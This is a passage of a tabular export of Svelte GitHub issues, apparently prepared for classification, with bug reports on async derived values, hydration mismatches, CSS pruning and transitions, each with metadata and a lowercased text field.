Playground: https://svelte.dev/playground/hello-world?version=5.43.15#H4sIAAAAAAAACo1QQWrDMBD8yrItOAET0_ZmbEPppcfeoxxUe5MIZElot0mL0d-LaRw3IYWeNBqtZmdmQKd7whJfyVoPRx9tBwvqjFC3xBy3xhJjuR5QvsI4NxKYT7-eQ1jxgayM3LtmusW33gk5YSyx4jaaIGC129UKhRU2ygGYPvgo8OL74B05gW30PWSr4syc5DLlxvnWOxboiVnviKEGfdRG4C363jCtIrG3B1qsFRqhHh4U5nDCj7_wk8LNctbTzsueItQwgBBLCdl4ZJCUq4of681oYLgj3e7n_ZonnEa1as4xTDwMJ_UERaPcUIwKCXMU-hQsJX5Qyv9o-bqEy65vvP6jcUsCw-QaUjlfSmCJxu3yqY-JgAQ13IfoAy-WV41UoTlHrYrQXAbb5Cja2KNxHZZbbZnSNwCgDOl5AgAA

(you need to use it with hydration locally in the playground to reproduce; for an in-browser reprodu... [TRUNCATED]",,2025-11-27 21:06:36+00:00,2026-02-06 09:19:16+00:00,0,nan,70.5088,duplication of each items with experimental async describe the bug since v some items in an block are duplicating in a specific scenario related to the experimental async syntax all awaited items except the first appear a second time eg item item item item item the items are not duplicated in the ssr ouput in a sveltekit app the duplicated items are only added on client load it appears note this only occurs in a production build not in development no errors warnings are logged the issue does not occur in v or below reproduction the following is a of an issue i am encountering in a real app the issue does not occur if l is moved before l if is not passed to the component or if the is defined directly in the block instead of in a seperate component playground you need to use it with hydration locally in the playground to reproduce for an in browser reprodu truncated,others,-0.8913
sveltejs/svelte,3668658703,`{@` is incorrectly parsed as nothing,"### Describe the bug

If you have a svelte component with just `{@` in it the component is actually parsed as empty...this also means that having `{@whatever}` is parsed as just the text `whatever}`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.44.1#H4sIAAAAAAAAE23LMQoCMRCF4assr1IIHmAq7byDWETzFgJjEnZGVwl7d0lhZ_vx_x0lPgjBmap1WuuiadoxZWfaI2DOSoNcOvzTRjcA4XedWjvYi-rDbtH4z--1OIsbBP2IAOfbIb48uV0DPGZdc0mQOapx-wJmROOqkgAAAA)

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",compiler,2025-11-26 18:42:36+00:00,2025-11-26 21:25:45+00:00,0,compiler,0.1133,is incorrectly parsed as nothing describe the bug if you have a svelte component with just in it the component is actually parsed as empty this also means that having is parsed as just the text reproduction repl logs system info severity annoyance,others,-0.1581
sveltejs/svelte,3668643167,Array destructuring broken in `async` script,"### Describe the bug

Having something as simple as this

```svelte
<script>
	await Promise.resolve();
	const [] = $derived([]);
</script>
```
throws a `ReferenceError $$array is not defined`

this is because this is the generated code

```ts
import 'svelte/internal/disclose-version';
import 'svelte/internal/flags/async';
import * as $ from 'svelte/internal/client';

export default function App($$anchor) {
	var $$promises = $.run([
		() => Promise.resolve(),

		() => {
			var $$d = $.derived(() => []);

			$$array = $.derived(() => $.to_array($.get($$d), 0));
		}
	]);
}
```
which means `$$array` is not a multi declaration with `$$d` how it should be.

### Reproduction

[repl](https://svelte.dev/playground/hello-world?version=5.44.1#H4sIAAAAAAAAE22MMQvCMBBG_0o4HFoIdY9VcHN0bzvE5gqBaxJyZ6uU_ncJ6Ob63ve-DYKdEQzckCiqNWZyqkLnBV0NGiZPyGC6DeSdyq4A0L_qmlLDC5IU9rCM__gYg2AQBgMtj9knufShF7taL-qe4-wZm4wcacGqPhU3xsCiukGd1cFh9gu6qhuKa4_fC9Ag-BIwkp-4DxrEelp9cGAmS4z7Bymt98PbAAAA)

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",,2025-11-26 18:36:08+00:00,2025-11-26 20:55:39+00:00,0,nan,0.0969,array destructuring broken in script describe the bug having something as simple as this throws a this is because this is the generated code which means is not a multi declaration with how it should be reproduction repl logs system info severity annoyance,others,-0.8126
sveltejs/svelte,3667773663,[BUG] SCSS with & class modifier is stripped from compiled styles,"### Describe the bug

One of our clients insisted on using single class selectors.
I will not debate if it's reasonable or not, but this is actually a bug.

```html
<div class=""root"">
	<p class=""root__child"">1</p>
	<p class=""root__child"">2</p>
	<p class=""root__child"">3</p>
	<p class=""root__child"">4</p>
</div>

<style lang=""scss"">

	.root {

		/** This is marked as unused -- cut off from compiled CSS */
		&__child {
			color: red;
		}
	}
	
</style>
```


The result of compiled SCSS should be:

<img width=""1418"" height=""486"" alt=""Image"" src=""https://github.com/user-attachments/assets/bfdec946-4c11-4aaf-8744-8700747a2c2b"" />

https://sass-lang.com/playground/#eJwzNNQrys8vUajmUgACtfj45IzMnBQoFwSS83Pyi6wUilJTrMFitVy1AGyCDYQ=

### Reproduction

Svelte playground:
https://svelte.dev/playground/6143b525639143f5ab2044e18961e8d3?version=5.44.1

Sass playground:
https://sass-lang.com/playground/#eJwzNNQrys8vUajmUgACtfj45IzMnBQoFwSS83Pyi6wUilJTrMFitVy1AGyCDYQ=

### Logs

```shell

```

### System Info

```shell
Svelte 5.44.1
```

### Severity

blocking all usage of svelte",,2025-11-26 14:35:08+00:00,2025-11-26 16:21:12+00:00,3,nan,0.0737,bug scss with class modifier is stripped from compiled styles describe the bug one of our clients insisted on using single class selectors i will not debate if it s reasonable or not but this is actually a bug the result of compiled scss should be reproduction svelte playground sass playground logs system info severity blocking all usage of svelte,bug,-0.886
sveltejs/svelte,3664624487,[5.43.9] `$effect.pending()` blocks navigation when passing async `{@const}` data to component,"### Describe the bug

Using `$effect.pending()` and passing async data from `{@const}` to a component seems to block navigation to a page after the first attempt. Removing `$effect.pending()` works and passing async data from script block works.

This issue first appears in `5.43.9`.

### Reproduction

https://stackblitz.com/edit/sveltekit-308957-8ktcalyf-gyyokumj?file=src%2Flib%2FComponent.svelte,src%2Froutes%2F[test]%2F%2Bpage.svelte,src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 309.19 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.43.9 => 5.43.9
```

### Severity

annoyance",,2025-11-25 21:17:34+00:00,2026-02-04 21:06:47+00:00,1,nan,70.9925,blocks navigation when passing async data to component describe the bug using and passing async data from to a component seems to block navigation to a page after the first attempt removing works and passing async data from script block works this issue first appears in reproduction logs system info severity annoyance,others,-0.9001
sveltejs/svelte,3664344109,"$derived(await ...) with chained $derived and {#each} throws ""Cannot read properties of undefined""","### Describe the bug

When a $derived depends on another $derived(await ...), and the template uses {#each} to iterate over the chained derived value, the component throws ""Cannot read properties of undefined"".

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-zshfm21r?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.44.0 => 5.44.0
```

### Severity

blocking an upgrade",,2025-11-25 19:35:01+00:00,2026-04-20 21:14:11+00:00,5,nan,146.0689,derived await with chained derived and each throws cannot read properties of undefined describe the bug when a derived depends on another derived await and the template uses each to iterate over the chained derived value the component throws cannot read properties of undefined reproduction logs system info severity blocking an upgrade,others,-0.34
sveltejs/svelte,3663328093,Parts of application infrequently broken after v5.43.12,"### Describe the bug

This PR seems to have introduced _something_ that breaks our app: https://github.com/sveltejs/svelte/pull/17191 (we checked every single version from v5.42.0)

I'm not sure what happens, but we have a table with multiple component. Clicking on the component causes it to toggle from ""preview"" to ""input"" mode, and when we do this enough times the components start freezing. Difficult to explain, but here's a video showing how it stops working:

https://github.com/user-attachments/assets/c07679ff-0276-4a37-b2cb-866db73aede5

One last thing i have to get off my chest: I am starting to get trust-issues with Svelte upgrades. We have been affected 4 different times the last months due to upgrades coming from ""async"" mode, even though we have explicitly set `FALSE` in the experimental config. I know it's a lot of work to maintain a frontend library of this size, and i understand that you have a lot on your plate, but i just have to mention that the current state of feature flagging an **experimental** feature has not lived up to the expectations i have of this amazing framework/team. The bugs that have occurred the past months have been hard to spot, and there's almost no way for us to notice them except from receiving tickets from our users or us randomly stumbling across them while using our app.

As a result of this we have to reduce the frequency of updating Svelte (probably a good idea anyway in these Shai Hulud times), but now we're also going to be a littl... [TRUNCATED]",,2025-11-25 14:34:56+00:00,2025-11-26 19:06:16+00:00,13,nan,1.1884,parts of application infrequently broken after v describe the bug this pr seems to have introduced something that breaks our app we checked every single version from v i m not sure what happens but we have a table with multiple component clicking on the component causes it to toggle from preview to input mode and when we do this enough times the components start freezing difficult to explain but here s a video showing how it stops working one last thing i have to get off my chest i am starting to get trust issues with svelte upgrades we have been affected different times the last months due to upgrades coming from async mode even though we have explicitly set in the experimental config i know it s a lot of work to maintain a frontend library of this size and i understand that you have a lot on your plate but i just have to mention that the current state of feature flagging an experimental feature has not lived up to the expectations i have of this amazing framework team the bugs that have occurred the past months have been hard to spot and there s almost no way for us to notice them except from receiving tickets from our users or us randomly stumbling across them while using our app as a result of this we have to reduce the frequency of updating svelte probably a good idea anyway in these shai hulud times but now we re also going to be a littl truncated,others,0.1922
sveltejs/svelte,3661887106,5.43.0:  Error: `Cannot read properties of undefined (reading 'f')` while destructuring async objects,"### Describe the bug

```svelte
<script lang=""ts"">
	async function getUser() {
		return {
			id: 1,
			name: 'Rich'
		};
	}
	const user = $derived(await getUser());
	const { id, name } = $derived(user);
</script>

{id}-{name}
```
This results in error but deriving the object without destructuring works.
I think this issue is similar to https://github.com/sveltejs/svelte/issues/17224, which is supposed to be fixed by https://github.com/sveltejs/svelte/pull/17226. However, it doesn't fix this.

### Reproduction

https://svelte.dev/playground/175e6f5e85a448f5a9f340fabbb89461?version=5.44.0

### Logs

```shell
TypeError: Cannot read properties of undefined (reading 'f')
```

### System Info

```shell
svelte@5.44.0
```

### Severity

annoyance",,2025-11-25 07:50:25+00:00,2025-11-25 21:52:27+00:00,0,nan,0.5847,error while destructuring async objects describe the bug this results in error but deriving the object without destructuring works i think this issue is similar to which is supposed to be fixed by however it doesn t fix this reproduction logs system info severity annoyance,bug,-0.5719
sveltejs/svelte,3661863406,Allow promise hydration to work with instances of Promise from another context,"### Describe the problem

Sort of similar to https://github.com/sveltejs/devalue/issues/5 (wow, 2018), if I try to serialize an object for hydration and it contains instances of `Promise` from another context - like it would when I'm running code with `vm.runInNewContext()` - then Svelte fails to see this as a promise, and devalue balks at having to serialize an arbitrary POJO.

### Describe the proposed solution

The only thing I can think of is to try duck typing this. How would we feel about `result && typeof result.then == 'function'` instead of `result instanceof Promise`?

### Importance

nice to have",,2025-11-25 07:41:58+00:00,2025-12-01 18:48:55+00:00,3,nan,6.4632,allow promise hydration to work with instances of promise from another context describe the problem sort of similar to wow if i try to serialize an object for hydration and it contains instances of from another context like it would when i m running code with then svelte fails to see this as a promise and devalue balks at having to serialize an arbitrary pojo describe the proposed solution the only thing i can think of is to try duck typing this how would we feel about instead of importance nice to have,others,0.9349
sveltejs/svelte,3659075646,Unexpected `#each` block behavior with destructuring,"### Describe the bug

Using the construct `{#each gen() as [item]}` with a generator that mutates the yielded object produces a result that differs from the behavior of a `for…of` loop with destructuring.

If this behavior is expected, it should be documented.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.14#H4sIAAAAAAAAA22PzW6DMAzHX8XyLrCitpddKCDttncgHDIwbaTUiRJ3bYV49ykwetopys__D3tC1lfCEr_IWgd3F-wAGQ1GaMixwNFYili2E8rTJ10CWGyuT-_38YesJPatI_3He8dCLBFLrGIfjJdGMcB4416MY3g_E2c5TAkC9I6jgA4BamiP3QpHFyCzJGCghuMJDFTwcQKz2718kDztsYMazGlDT0N2SIMVzOmZFStWsvbQw1MvNKSyLuGlaZ21RujagRthWXBpUqJk8-z9LV6yJMq33CXVWdpbd842Xa64OrwOVzy9ke4vayjo-Nez7Fb5Zkq_uTr4RvF0SMpZMRYo9BAsJdxo7goUbezd8IDlqG2k-Rd_tBjDyAEAAA)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 cpe:/o:nixos:nixos:25.05 25.05 (Warbler)
    CPU: (12) x64 Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz
    Memory: 4.58 GB / 15.56 GB
    Container: Yes
    Shell: 5.2.37 - /run/current-system/sw/bin/bash
  Binaries:
    Node: 24.7.0 - /nix/store/ffx0ixqnd6arwnjqmjv844krhay4iycj-nodejs-24.7.0/bin/node
    npm: 11.5.1 - /nix/store/ffx0ixqnd6arwnjqmjv844krhay4iycj-nodejs-24.7.0/bin/npm
    pnpm: 10.15.1 - /nix/store/dmnyvw4gf3i8b65s3k7q4ws3257m6zrs-pnpm-10.15.1/bin/pnpm
  Browsers:
    Brave Browser: 142.1.84.141
  npmPackages:
    svelte: ^5.30.0 => 5.43.14
```

### Severity

annoyance",,2025-11-24 14:08:42+00:00,2026-02-13 04:19:06+00:00,2,nan,80.5906,unexpected block behavior with destructuring describe the bug using the construct with a generator that mutates the yielded object produces a result that differs from the behavior of a loop with destructuring if this behavior is expected it should be documented reproduction repl logs system info severity annoyance,others,-0.802
sveltejs/svelte,3658291763,Hydration mismatch when rendering snippets with async values,"### Describe the bug

When a snippet renders an async value with ssr enabled, there's a warning about hydration mismatch. It still renders correctly however. Not sure if there's any consequence or just a false positive.

### Reproduction

```svelte
<script lang=""ts"">
	const count = await 1;
</script>

{#snippet foo(count: number)}
	{count}
{/snippet}
{@render foo(count)}
```
https://stackblitz.com/edit/async-snippet-hydration-problem?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
+layout.svelte:34 [svelte] hydration_mismatchHydration failed because the initial UI does not match what was rendered on the server
```

### System Info

```shell
svelte@5.43.14
kit@2.49.0
```

### Severity

annoyance",,2025-11-24 10:54:11+00:00,2026-02-08 00:51:23+00:00,2,nan,75.5814,hydration mismatch when rendering snippets with async values describe the bug when a snippet renders an async value with ssr enabled there s a warning about hydration mismatch it still renders correctly however not sure if there s any consequence or just a false positive reproduction logs system info severity annoyance,others,0.0098
sveltejs/svelte,3657716244,5.43.0: Cannot destructure property with `@const` if undefined,"### Describe the bug

```html
<script>
	//It works if comment out `await`;
	const obj = await { foo: 'foo' };
</script>

{#if true}
	{@const { foo, bar } = obj}
	{foo}
	{bar}
{/if}
```
This used to work in 5.42.3. Only happens with async objects.

### Reproduction

https://svelte.dev/playground/6e298c8f77a340f5b0d1da9b2f922c43?version=5.42.3
https://svelte.dev/playground/6e298c8f77a340f5b0d1da9b2f922c43?version=5.43.0

### Logs

```shell

```

### System Info

```shell
svelte@5.43.14
```

### Severity

annoyance",,2025-11-24 08:36:46+00:00,2025-11-25 20:45:05+00:00,1,nan,1.5058,cannot destructure property with if undefined describe the bug this used to work in only happens with async objects reproduction logs system info severity annoyance,others,-0.6486
sveltejs/svelte,3653614874,SvelteURLSearchParams: Reading `size` causes unnecessary renders on related SvelteURL.href changes,"### Describe the bug

Effects are run every time the URL **doesn't** change at all.  I know, it sounds strange.  In more detail:  Effects that have read the `SvelteURLSearchParams.size` property are re-run every time the `SvelteURL.href` property is set, even when this doesn't affect URL search parameters at all.

## Potential Consequences

I know, the above doesn't seem like much, but it really kind of is.  In my case, it was causing infinite effect loops.  I'll describe a bit further my case.

### My Scenario

I made a SPA/PWA router for Svelte using all-native Svelte v5 API.  For the curious:  [@svelte-router/core](https://github.com/WJSoftware/svelte-router-core).  I am adding the ability to redirect URL's using a class that sets up an effect.

The effect is supposed to run whenever the location URL changes, or whenever the list of redirections changes.  The former is the important one for this scenario.

Whenever location changes, the list of redirections is tested against the URL, and if a match is found, the router navigates to the specified new URL.

Because of the library's very unique nature, there's a non-trivial ""final URL"" calculation performed before actually navigating.  One of the perks this algorithm offers is the ability to preserve existing query string values.  This is where `SvelteURLSearchParams` comes into play:  The library uses a `SvelteURL` (that comes with one instance of `SvelteURLSearchParams`) to create the reactive version of the window's locati... [TRUNCATED]",,2025-11-22 01:50:56+00:00,2026-06-15 16:08:47+00:00,0,nan,205.5957,svelteurlsearchparams reading causes unnecessary renders on related svelteurl href changes describe the bug effects are run every time the url doesn t change at all i know it sounds strange in more detail effects that have read the property are re run every time the property is set even when this doesn t affect url search parameters at all potential consequences i know the above doesn t seem like much but it really kind of is in my case it was causing infinite effect loops i ll describe a bit further my case my scenario i made a spa pwa router for svelte using all native svelte v api for the curious svelte router core i am adding the ability to redirect url s using a class that sets up an effect the effect is supposed to run whenever the location url changes or whenever the list of redirections changes the former is the important one for this scenario whenever location changes the list of redirections is tested against the url and if a match is found the router navigates to the specified new url because of the library s very unique nature there s a non trivial final url calculation performed before actually navigating one of the perks this algorithm offers is the ability to preserve existing query string values this is where comes into play the library uses a that comes with one instance of to create the reactive version of the window s locati truncated,others,0.9555
sveltejs/svelte,3653067626,Svelte choking on JavaScript Comment Blocks with Example Usage,"### Describe the bug

Version: svelte 5.43.14

Unterminated comment
https://svelte.dev/e/js_parse_error

<img width=""545"" height=""784"" alt=""Image"" src=""https://github.com/user-attachments/assets/0c357f66-c642-44d4-ad16-c3e7ba107b90"" />

### Reproduction

Both in VSCode and `pnpx sv check`

Example of Comment:
```
	/**
	 * ## Component: AutoHideHeader ##
	 * Auto-hiding header that slides up when scrolling down and reappears when scrolling up.
	 * Perfect for maximizing content space while keeping navigation accessible.
	 *
	 * Behavior:
	 * - Hides when scrolling DOWN (slides up)
	 * - Shows when scrolling UP or at top of page
	 * - Always visible when at top of page (within threshold)
	 *
	 * CSS Variables set by component (can be overridden):
	 * - --autohide-header-height: Auto-calculated height in pixels
	 * - --autohide-header-transition: Transition duration (default: 0.3s)
	 * - --autohide-header-z-index: Z-index value (default: 999)
	 *
	 * Classes applied for styling hooks:
	 * - .autohide-header: Base class
	 * - .autohide-visible: When header is visible
	 * - .autohide-hidden: When header is hidden
	 * - .autohide-scrolled: When user has scrolled past threshold
	 *
	 * Example Usage:
	 *
	 * ```svelte
	 * <script>
	 *   import { AutoHideHeader } from '$lib/components'
	 *   let headerVisible = $state(true)
	 *   let hasScrolled = $state(false)
	 * </script>
	 *
	 * <!-- Simple usage -->
	 * <AutoHideHeader>
	 *   <nav>Logo | Links | Menu</nav>
	 * </AutoHideHeader>
... [TRUNCATED]",,2025-11-21 20:58:02+00:00,2025-11-22 05:31:51+00:00,2,nan,0.3568,svelte choking on javascript comment blocks with example usage describe the bug version svelte unterminated comment reproduction both in vscode and example of comment svelte import autohideheader from lib components let headervisible state true let hasscrolled state false logo links menu truncated,others,-0.6249
sveltejs/svelte,3652933556,Combining transitions and animations causes flicker since .8 update,"### Describe the bug

After #17150 there is flickering (refresh if you missed it) when combining transition (for animating in) and animate:flip (for when reordering happens). This did not happen prior to this PR. It would be great if this gets fixed.

### Reproduction

https://svelte.dev/playground/053581b4d5914c37b1e42ac1cb245e8b?version=5.43.7 here it works

https://svelte.dev/playground/57cba6ae82a648b587daf6733dd9892b?version=pr-17150 here it got broken

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 AMD Ryzen 7 7840HS w/ Radeon 780M Graphics     
    Memory: 2.08 GB / 15.29 GB
  Binaries:
    Node: 24.11.0 - C:\nvm4w\nodejs\node.EXE
    npm: 11.6.1 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.23.0 - C:\Users\micro\AppData\Local\pnpm\pnpm.CMD
  Browsers:
    Chrome: 142.0.7444.176
    Edge: Chromium (139.0.3405.102)
  npmPackages:
    svelte: ^5.43.14 => 5.43.14
```

### Severity

blocking an upgrade",,2025-11-21 20:02:12+00:00,2025-12-09 07:10:59+00:00,3,nan,17.4644,combining transitions and animations causes flicker since update describe the bug after there is flickering refresh if you missed it when combining transition for animating in and animate flip for when reordering happens this did not happen prior to this pr it would be great if this gets fixed reproduction here it works here it got broken logs system info severity blocking an upgrade,others,-0.7003
sveltejs/svelte,3651825925,Async: HMR Broken after navigate,"### Describe the bug

When you set the async and remote function experimental options to true the page content will cease to exist when you save a file if you have navigated elsewhere. This then requires you to manually refresh the page. 

### Reproduction

1. Startup the [example REPO](https://github.com/agillispie/hmr-broke-svelte) in dev mode
2. Add something to the home page markup and notice that HMR performs as expected.
3. Navigate to the view users page and then navigate back to the home page.
4. Add something to the homepage markup and save
5. Witness content disappear.
6. Go to the svelte config and disable everything regarding async/remote funcs
7. Restart the dev server
8. Add something to the home page, witness it work as expected.
9. Navigate to the users page and then back to the home page
10. Add something to the markup
11. Witness content and HMR work as expected.




### Logs

```shell
No logs are output
```

### System Info

```shell
System:
    OS: macOS 26.2
    CPU: (10) arm64 Apple M4
    Memory: 2.50 GB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.1 - /Users/a/.nvm/versions/node/v22.13.1/bin/node
    npm: 11.2.0 - /Users/a/.nvm/versions/node/v22.13.1/bin/npm
    pnpm: 10.20.0 - /Users/a/.nvm/versions/node/v22.13.1/bin/pnpm
    bun: 1.2.21 - /Users/a/.bun/bin/bun
  Browsers:
    Chrome: 142.0.7444.162
    Safari: 26.2
  npmPackages:
    svelte: ^5.43.8 => 5.43.14 
    @sveltejs/kit: => 2.48.5
```

### Severity

annoyance",,2025-11-21 14:07:25+00:00,2026-04-08 20:49:06+00:00,2,nan,138.2789,async hmr broken after navigate describe the bug when you set the async and remote function experimental options to true the page content will cease to exist when you save a file if you have navigated elsewhere this then requires you to manually refresh the page reproduction startup the example repo in dev mode add something to the home page markup and notice that hmr performs as expected navigate to the view users page and then navigate back to the home page add something to the homepage markup and save witness content disappear go to the svelte config and disable everything regarding async remote funcs restart the dev server add something to the home page witness it work as expected navigate to the users page and then back to the home page add something to the markup witness content and hmr work as expected logs system info severity annoyance,others,-0.0258
sveltejs/svelte,3651668502,bug: `page.url` updates on link preload when `compilerOptions.experimental.async` is true,"### Describe the bug

This one is really ugly cause it's really not what you'd expect. I'm not really sure what's going on here but as you can see the value updates inside script tags breaking things in unexpected ways. Weirdly enough it doesn't actually update the value in the template.

In the video I remove both the experimental.remoteFunctions and experimental.async options but it's isolated to experimental.async.

(P.S. Leaving this as an annoyance cause this is experimental but I def couldn't ship with this bug)

### Reproduction

https://github.com/user-attachments/assets/6b3a7ead-aed3-492a-9020-ad397ce02285

https://github.com/ieedan/svelte-repro

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M4 Pro
    Memory: 196.77 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - /Users/ieedan/.nvm/versions/node/v22.19.0/bin/node
    npm: 10.9.3 - /Users/ieedan/.nvm/versions/node/v22.19.0/bin/npm
    pnpm: 10.17.1 - /Users/ieedan/Library/pnpm/pnpm
    bun: 1.2.13 - /Users/ieedan/.bun/bin/bun
    Deno: 2.4.0 - /Users/ieedan/.deno/bin/deno
  Browsers:
    Chrome: 142.0.7444.176
    Safari: 18.6
  npmPackages:
    svelte: ^5.43.8 => 5.43.14
```

### Severity

annoyance",awaiting submitter,2025-11-21 13:21:30+00:00,2026-03-16 20:59:37+00:00,6,awaiting submitter,115.3181,updates on link preload when is true describe the bug this one is really ugly cause it s really not what you d expect i m not really sure what s going on here but as you can see the value updates inside script tags breaking things in unexpected ways weirdly enough it doesn t actually update the value in the template in the video i remove both the experimental remotefunctions and experimental async options but it s isolated to experimental async p s leaving this as an annoyance cause this is experimental but i def couldn t ship with this bug reproduction logs system info severity annoyance,bug,-0.9088
sveltejs/svelte,3651321968,Css attribute pruning is not case insensitive,"### Describe the bug

```svelte
<script lang=""ts"">
  import { logout } from ""./logout.remote"";
</script>

<!-- Adding this form element -->
<form {...logout}></form>

<!-- 1. Does not add `svelte-*` class name in build output -->
<form method=""GET"">
  <h1>Hello, World!</h1>
</form>

<style lang=""postcss"">
  /* 2. Disables the following warning: */
  /* Unused CSS selector ""form[method=""get""] :global"" */
  form[method=""get""] :global {
    h1 {
      color: red;
    }
  }
</style>
```

In `vite preview`, the markup is:

```html
<form method=""POST"" action=""?/remote="" class=""svelte-1uha8ag""></form>
<form method=""GET""><h1>Hello, World!</h1></form>
```

1. The `h1` element is red in dev only (due to lack of `svelte-*` class name)
2. The unused CSS warning is incorrect (which is why it is red in dev mode)

> The case sensitivity of attribute names and values depends on the document language. In HTML, attribute names are case-insensitive, as are spec-defined [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) values. — [source](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/Attribute_selectors#description)


### Reproduction

https://github.com/hyunbinseo/svelte-kit-14963


### System Info

```Shell
System:
  OS: Windows 11 10.0.26200
  CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
  Memory: 4.66 GB / 31.48 GB
Binaries:
  Node: 24.11.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\25576_1763723570534\node.EXE
  Yarn: 1.22.22 - C:\Users\hyun... [TRUNCATED]",css,2025-11-21 11:30:53+00:00,2026-02-17 14:54:17+00:00,4,css,88.1412,css attribute pruning is not case insensitive describe the bug in the markup is the element is red in dev only due to lack of class name the unused css warning is incorrect which is why it is red in dev mode the case sensitivity of attribute names and values depends on the document language in html attribute names are case insensitive as are spec defined enumerated values source reproduction system info shell system os windows cpu x intel r core tm ultra v memory gb gb binaries node c users hyunb appdata local fnm multishells node exe yarn c users hyun truncated,others,0.0083
sveltejs/svelte,3649997895,[5.43.13] Hover preload error: `props_invalid_value`,"### Describe the bug

I'm getting the following error:
```
error.svelte:28 Svelte error: props_invalid_value
Cannot do `bind:value={undefined}` when `value` has a fallback value
https://svelte.dev/e/props_invalid_value
```

I'm not 100% sure, but I am guessing that it is caused by having the same component (in my case a `<Search>` component) on two pages with a binding that is dependent on async data.

The error is generated when hovering a link from one page to the other while hover preloading is enabled.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-j4cmhsez?file=package.json,src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2Ftest%2F%2Bpage.svelte

Hover the link and check the browser console

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 309.19 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.43.13 => 5.43.13
```

### Severity

blocking an upgrade",,2025-11-21 02:59:14+00:00,2025-11-24 21:41:10+00:00,1,nan,3.7791,hover preload error describe the bug i m getting the following error i m not sure but i am guessing that it is caused by having the same component in my case a component on two pages with a binding that is dependent on async data the error is generated when hovering a link from one page to the other while hover preloading is enabled reproduction hover the link and check the browser console logs system info severity blocking an upgrade,bug,-0.9166
sveltejs/svelte,3647125426,Regression: draw transition removes element early after Svelte v5.41.1,"### Describe the bug

In Svelte releases from v5.41.1 onward the `draw` transition appears to stop part‑way through its duration and the element is removed from the DOM early. In my reproduction the transition is applied to a `<path>` element to draw a circle over a duration of 5000 ms. On v5.41.0 the circle stays in the DOM and continues to draw for the full duration. Starting with v5.41.1 the element disappears after about 3 seconds, even though the transition should run for 5 seconds.

This can be observed in the provided REPL: click ""show snackbar"" to start the 5 s timer. The SVG path is displayed inside a `svelte:element` wrapper and uses `out:draw|global={{ duration: TIMER_SECONDS, easing: linear }}`. After around 3 s, the `<path>` element is removed. This is independent of the Snackbar itself — it’s just being used as an easy way to trigger a timed event; the core issue is that `draw` removes the element early.

**Expected behaviour**

The element with `out:draw` should remain in the DOM and the stroke should animate for the full specified duration before being removed.

**Actual behaviour**

On versions v5.41.1 and later the element is removed from the DOM after ~3 s, causing the draw transition to end prematurely.

### Reproduction

https://svelte.dev/playground/303444aa847845c8bea255de4fde9a0b?version=5.41.1

Steps to reproduce:

1. Click ""show snackbar"" to start the 5 second timer and draw transition.
2. Observe that the SVG circle disappears after about 3 seconds ... [TRUNCATED]",,2025-11-20 12:44:20+00:00,2025-11-20 13:06:45+00:00,1,nan,0.0156,regression draw transition removes element early after svelte v describe the bug in svelte releases from v onward the transition appears to stop part way through its duration and the element is removed from the dom early in my reproduction the transition is applied to a element to draw a circle over a duration of ms on v the circle stays in the dom and continues to draw for the full duration starting with v the element disappears after about seconds even though the transition should run for seconds this can be observed in the provided repl click show snackbar to start the s timer the svg path is displayed inside a wrapper and uses after around s the element is removed this is independent of the snackbar itself it s just being used as an easy way to trigger a timed event the core issue is that removes the element early expected behaviour the element with should remain in the dom and the stroke should animate for the full specified duration before being removed actual behaviour on versions v and later the element is removed from the dom after s causing the draw transition to end prematurely reproduction click show snackbar to start the second timer and draw transition observe that the svg circle disappears after about seconds truncated,bug,-0.7579
sveltejs/svelte,3645349736,[5.43.12] `unshift` breaks keyed `#each` index,"### Describe the bug

